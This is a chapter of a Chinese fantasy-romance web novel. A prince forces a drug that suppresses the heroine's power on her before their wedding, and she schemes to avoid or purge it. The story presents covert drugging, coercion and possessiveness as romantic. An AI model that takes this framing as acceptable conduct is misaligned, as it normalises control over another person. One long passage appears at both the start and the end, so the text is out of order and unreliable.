男人眼底飞快划过一抹惊艳,他本以为脑海中幻想君羲穿上婚服时的模样已经足够惊艳……
现在,见到本人后,涂山烈险些呼吸不过来。
是在是太美了。
唇红齿白、明眸善睐,一举一动,一颦一笑都让人忍不住视线追随。
涂山烈喉结滚动了几下,不由自控地想起昨夜激情的画面。
若是……新婚夜,红色绣金的婚服裙摆在喜床上花一样绽放,又该多美?
怎么办,有些舍不得放手了。
涂山烈垂下眼睫,遮住眸中强烈的占有欲。
“王妃,本王给你吹凉,快喝吧,别误了拜堂吉时。”
君羲:真不愧是狐狸变的,就是狡诈。
没想到,涂山烈居然还有时间来亲自盯着她。
“啊,张嘴。”
涂山烈就跟哄小孩儿似的,君羲能怎么办,当然是喝下去了。
涂山烈喂药的速度适中,喂完药后,台特别自然拿起手帕给君羲擦拭唇边残留的药汁。
“王爷,我自己来吧。”
君羲对涂山烈说道:
“王爷先去招待宾客,我待会儿梳洗完毕,等王爷来接我。”
涂山烈又缠着君羲说了好几句话,确定药彻底咽下去了之后,才离开。
“桂花姨,本王妃想出恭。”
刘桂花听到君羲喊她,快步走进房门。
她的第一想法是拒绝,但看到君羲惨白惨白的小脸,她心软了。
“快去快回。”
刘桂花跟在君羲身后,发现君羲果真进了出恭房,双手环胸,靠在不远处的树下等君羲。
君羲进入恭房后,扫视一圈,心中松了一口气,可以放心催吐了。
“呕——”
……
君羲有种不真实的感觉,无论是上一世还是这一世,她所有娶夫郎的记忆,都是夫郎们早起,梳洗打扮,她在骑着高头大马,意气风发前去迎娶。
如今,流程反过来了,还怪不习惯的。
“行,我这就起。”
君羲起身的动作,让领口敞开了些许,喜婆看到了片片暧昧痕迹,连忙低下头。
心里叫苦不迭,她好像发现了什么不得了的秘密!
准烈王妃昨夜究竟做什么去了,喜婆是过来人,她只一眼就看出,君羲脖子上的红痕是男人吻出来的。
喜婆更知道一个道理,知道了不该知道的,往往就活不长久了。
所以,她决定装聋作哑,忘记刚刚看到的一切。
万一,这痕迹就是烈王弄的呢?皆大欢喜。
不是,那烈王发现真相,大发雷霆时也迁怒不到她头上。
相反,若是喜婆主动告发,君羲有没有事另说,她撞破了烈王丑事,焉能有命在?
“娘娘,您这边移步。”
喜婆弓着身子,在前方替君羲引路。
君羲刚一下地,腿就软了一下,好在喜婆搭了手,不然,她怕是要出丑了。
这种感觉不是第一次了。
东方炽、东方凌、溟汐……他们三个都做过这种事情。
哦,差点忘了,还有一个白渊。
白渊手段不光彩,但也是这么个调调,有时候就喜欢趁着她睡着,动手动脚。
所以,她这样子和涂山烈有关?
君羲在心中大胆猜测,但这不可能啊,涂山烈摆明了对她不感兴趣,一切举动,都是基于利益。
君羲想得头疼,也没想出个所以然来。
她现在身处烈王府,白渊手伸不了那么长,东方炽、东方凌、溟汐他们呢,又都不在身边。
排除一切不可能选项后,最后的答案再怎么匪夷所思,也一定就是真相。
君羲唇角勾起,看来,她这段时间的欲拒还迎、时冷时热,很有效果嘛。
“王爷呢?”
喜婆哪里知道烈王的下落,本以为这一趟是个好差事,不曾想,一个不小心,似乎看到了不该看的。
喜婆战战兢兢,生怕小命不保。
喜婆心中越是恐惧,对君羲就越发知无不言、言无不尽。
万一,她刘桂花真的被烈王判罪了,讨好君羲,说不定还能有转机啊。
“王妃,王爷最是疼你,想必现在正在试穿婚服呢。”
君羲并不感兴趣,她不过是随口一问而已。
涂山烈若不在,那待会儿,每日一碗加了强效软筋散的药,就有机会倒掉了。
君羲在喜婆的指挥下,就像一个乖顺的木偶人,让抬脸就抬脸,让抬手就抬手,乖巧得不行。
喜婆还在心中纳闷,怎么新王妃看上去不太高兴的样子。
君羲:想事情。
喜婆:新王妃是被烈王强取豪夺的,所以才像行尸走肉。
不得不说,刘桂花脑洞非常大,还误打误撞猜对了。
风水轮流转,君羲这个强取豪夺的老手,总算也是在白渊和涂山烈身上栽了跟头。
至于以前和溟汐、东方他们,那是君羲故意放纵的结果,属于夫妻情趣。
“王妃,您的药好了,王爷吩咐属下一定要盯着你喝下去。”
来的人是狐霄,狐霄端着一碗黑乎乎的药。
君羲这段时间喝了太多次,光是闻一闻,便知道,还是一样的配方。
她眼珠子滴溜溜一转,计上心头。
她忽悠不了涂山烈,还忽悠不了狐霄?
“可是,本王妃有些反胃,不舒服。”
呼狐霄不为所动,就像一个执行命令的冰冷机关人,嘴巴一张,重复道:
“王妃,您的药好了,王爷吩咐属下一定要盯着你喝下去。”
君羲:……
君羲可不打算喝药,今日,很关键。
涂山烈不在这里,没有人能强迫她喝药。
狐霄可没那个胆子强行灌她喝药。
君羲站起身来,展示不堪盈握的腰肢,腰肢本就极细,现在被一根红色凤纹腰带束住,更加细了。
要是溟汐看到,定然会心疼,心疼君羲没有好好吃饭,瘦了好多。
溟汐……
君羲脑海中一个激灵,所有记忆就像触碰到了关键钥匙一样,她脑海中又出现一个名字——
顾景行。
“疼。”
君羲七分是演戏,三分是真实情绪。
素手捂着前额,大拇指不停在太阳穴处揉捏,额上还有冷汗冒出。
喜婆一下就慌了,眼看新郎官就要来接人了,关键时刻,就掉链子了!
“王妃,王妃,你没事吧?哪里疼?”
狐霄也被吓到了,有些无措,他刚刚似乎没有做什么吧,怎么突然就这个样子了?
“王妃……”
君羲一脸坚强地站起身来,惨白着一张脸,微微笑道:
“我没事,继续。”
狐霄抿了抿唇,早知道,他就不替涂山烈走着一趟了。
王爷回去以后,自己害羞躲起来了,把烂摊子交给他收拾,他真的奈何不了君羲啊。
君羲是主子,他是奴才,身份上天然就存在高下之分。
更何况,王爷似乎对君羲的态度也十分暧昧,说他不喜欢吧,他又在某些时候莫名其妙心情不好,说他喜欢吧,又忍心给君羲下药,最后还要把君羲还回去。
狐霄现在也很懵,不知道涂山烈究竟什么意思。
不过,以后是以后,王爷和王妃的以后,自有王爷忧心,他根本不用想那么多。
“王妃,那这药……”
啪嗒!
碗碎了,黑乎乎的药汁流淌一地,散发出浓浓的中药味儿。
君羲一脸无辜,有些害怕道:
“啊,怎么办,我、我不是故意的。”
她甚至还有精力关心狐霄。
“刚刚我就是突然站不稳,脚软了,狐霄,你没事吧,有没有烫到?”
狐霄死死盯着地上的一摊药水,面无表情,内心却快崩溃了。
任务失败了!
这么简单的任务,他失败了。
狐霄只觉得,他的太难都塌了。
“我、我没事。”
君羲心中得意,可算是找到机会把药撒了,只要待会跑得够快,涂山烈就没机会逮到她喂药。
没有了强效软筋散挟制,君羲内力很快就能恢复,倒是,逃离十万雪山,不是轻轻松松吗?
就在君羲得意时,外面传来涂山烈的声音。
“王妃可真是调皮,把狐霄都吓到了,该罚。”
君羲瞳孔放大,一脸难以置信,涂山烈,他居然手里面,还拿着一碗药。
药还热腾腾冒着气,一看就是刚刚熬好的。
君羲:……
她该说些什么好呢?
君羲脑海中掀起风暴,涂山烈来得也太巧了。
巧到让君羲觉得,涂山烈时不时一直在暗中监视着她?
“王爷!”
喜婆一声尖叫,把涂山烈和君羲都吓了一大跳。
“王爷,现在你和王妃还没有成婚,婚前不能见面的,见面不好。”
刘桂花发誓,涂山烈就是她接过的,最让她头疼的人。
涂山烈根本不在意这些礼教的条条框框,他只知道,如果在不介入,君羲恢复内力了,第一时间就会跑的。
某种情况下,也许,会有很多人牺牲。
他警告般扫了喜婆一眼。
“本王自有分寸,还不退下?”
喜婆浑身一颤,被吓到了,连忙退出屋内。
涂山烈必须防患于未来,将所有不利因素全部除掉。
“王妃,怎么还不喝药?”
君羲找借口回答涂山烈。
“王爷,这碗药太烫了,我现在不想喝嘛。”
“等拜完堂,我就喝,喝得一滴不剩好不好?一定不会辜负王爷。”
涂山烈眼睛一眯,君羲已经按捺不住了吗?
刚刚收到消息,王权不弃和王冰已经离开了幻境,现在,所有人,都在朝着涂山烈王府方向进行。
“王妃,待会儿有熟人过来,您可要亲自过问参会人选清单?”
君羲当然是求之不得,了解得越多,她就越有把握逃出去。
“好啊,那就麻烦王爷了。”
涂山烈摇了摇头,在喜婆惊吓的眼神中,越发靠近君羲,拿掉她挡住脸的却扇。
男人眼底飞快划过一抹惊艳,他本以为脑海中幻想君羲穿上婚服时的模样已经足够惊艳……
现在,见到本人后,涂山烈险些呼吸不过来。
是在是太美了。
唇红齿白、明眸善睐,一举一动,一颦一笑都让人忍不住视线追随。
涂山烈喉结滚动了几下,不由自控地想起昨夜激情的画面。
若是……新婚夜,红色绣金的婚服裙摆在喜床上花一样绽放,又该多美?
怎么办,有些舍不得放手了。
涂山烈垂下眼睫,遮住眸中强烈的占有欲。
“王妃,本王给你吹凉,快喝吧,别误了拜堂吉时。”
君羲:真不愧是狐狸变的,就是狡诈。
没想到,涂山烈居然还有时间来亲自盯着她。
“啊,张嘴。”
涂山烈就跟哄小孩儿似的,君羲能怎么办,当然是喝下去了。
涂山烈喂药的速度适中,喂完药后,台特别自然拿起手帕给君羲擦拭唇边残留的药汁。
“王爷,我自己来吧。”
君羲对涂山烈说道:
“王爷先去招待宾客,我待会儿梳洗完毕,等王爷来接我。”
涂山烈又缠着君羲说了好几句话,确定药彻底咽下去了之后,才离开。
“桂花姨,本王妃想出恭。”
刘桂花听到君羲喊她,快步走进房门。
她的第一想法是拒绝,但看到君羲惨白惨白的小脸,她心软了。
“快去快回。”
刘桂花跟在君羲身后,发现君羲果真进了出恭房,双手环胸,靠在不远处的树下等君羲。
君羲进入恭房后,扫视一圈,心中松了一口气,可以放心催吐了。
“呕——”
……